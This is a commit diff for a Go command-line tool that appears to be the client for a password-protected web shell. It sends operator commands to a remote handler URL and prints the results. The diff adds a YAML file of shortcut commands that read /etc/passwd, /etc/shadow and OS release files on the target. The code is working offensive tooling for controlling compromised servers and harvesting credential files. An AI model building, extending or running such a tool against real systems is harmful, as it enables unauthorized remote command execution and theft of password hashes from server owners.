Multiple improvements

Author: and0x00

custom_commands.yaml

@@ -0,0 +1,3 @@
+":passwd\n": "cat /etc/passwd"
+":shadow\n": "cat /etc/shadow"
+":release\n": "cat /etc/*-release"

go.mod

@@ -0,0 +1,5 @@
+module ninja
+
+go 1.20
+
+require gopkg.in/yaml.v3 v3.0.1 // indirect

go.sum

@@ -0,0 +1,3 @@
+gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
+gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
+gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=

main.go

@@ -6,29 +6,30 @@ import (
 	"encoding/base64"
 	"flag"
 	"fmt"
-	"io/ioutil"
+	"io"
 	"log"
 	"math/rand"
 	"net/http"
 	"net/url"
 	"os"
 	"strings"
 	"text/template"
-	"time"
+
+	"gopkg.in/yaml.v3"
 )
 
+type CustomCommands map[string]string
+
 type Rand struct {
 	RandVar  string
 	RandPass string
 }
 
 func RandString(n int) string {
-	rand.Seed(time.Now().UnixNano())
 	const alphanum = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
 	var bytes = make([]byte, n)
-	rand.Read(bytes)
-	for i, b := range bytes {
-		bytes[i] = alphanum[b%byte(len(alphanum))]
+	for i := range bytes {
+		bytes[i] = alphanum[rand.Intn(len(alphanum))]
 	}
 	return string(bytes)
 }
@@ -68,7 +69,7 @@ func Requester(url string, cmd string, password string) string {
 	}
 	defer resp.Body.Close()
 
-	bodyText, err := ioutil.ReadAll(resp.Body)
+	bodyText, err := io.ReadAll(resp.Body)
 	if err != nil {
 		log.Fatal(err)
 	}
@@ -78,14 +79,27 @@ func Requester(url string, cmd string, password string) string {
 	return string(bodyText)
 }
 
-func checkCustom(cmd string) string {
+func readCustomCommands(filename string) (CustomCommands, error) {
+	var commands CustomCommands
+	yamlFile, err := os.ReadFile(filename)
+	if err != nil {
+		return nil, err
+	}
+	err = yaml.Unmarshal(yamlFile, &commands)
+	if err != nil {
+		return nil, err
+	}
+	return commands, nil
+}
+
+func checkCustom(cmd string, customCommands CustomCommands) string {
 	if cmd == ":\n" || cmd == ":exit\n" {
 		os.Exit(0)
 	} else if cmd == ":cls\n" || cmd == ":clear\n" {
 		fmt.Printf("\x1bc")
-		cmd = ""
-	} else if cmd == ":passwd\n" {
-		cmd = "cat /etc/passwd"
+		return ""
+	} else if custom, ok := customCommands[cmd]; ok {
+		return custom
 	}
 	return cmd
 }
@@ -97,6 +111,12 @@ func main() {
 	raw := flag.Bool("raw", false, "a boolean")
 	flag.Parse()
 
+	customCommands, err := readCustomCommands("custom_commands.yaml")
+	if err != nil {
+		fmt.Println("Error loading custom commands:", err)
+		os.Exit(1)
+	}
+
 	if *handler != "" {
 		var password string
 		fmt.Printf("🔑 Password > ")
@@ -106,7 +126,7 @@ func main() {
 			fmt.Printf("🥷 > ")
 			in := bufio.NewReader(os.Stdin)
 			cmd, _ := in.ReadString('\n')
-			cmd = checkCustom(cmd)
+			cmd = checkCustom(cmd, customCommands)
 			if cmd != "" {
 				resp := Requester(*handler, cmd, password)
 				println(resp)